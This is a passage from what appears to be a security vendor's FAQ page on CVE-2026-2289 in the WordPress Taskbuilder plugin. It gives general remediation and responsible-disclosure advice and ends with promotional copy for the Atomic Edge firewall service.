Responding to potential exploitationIf you suspect your site has been compromised due to this vulnerability, immediately update the Taskbuilder plugin and conduct a thorough security audit. Check for unauthorized accounts, changes to settings, and review logs for suspicious activity.
Is there a way to report vulnerabilities like CVE-2026-2289?
Responsible disclosureYes, vulnerabilities can be reported to the maintainers of the plugin or through platforms like the WordPress Plugin Security team. Responsible disclosure helps improve security for all users by ensuring vulnerabilities are addressed promptly.
How can I stay informed about vulnerabilities in WordPress plugins?
Keeping up with security updatesTo stay informed about vulnerabilities, subscribe to security mailing lists, follow WordPress security blogs, and regularly check the official WordPress plugin repository for updates and security advisories.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






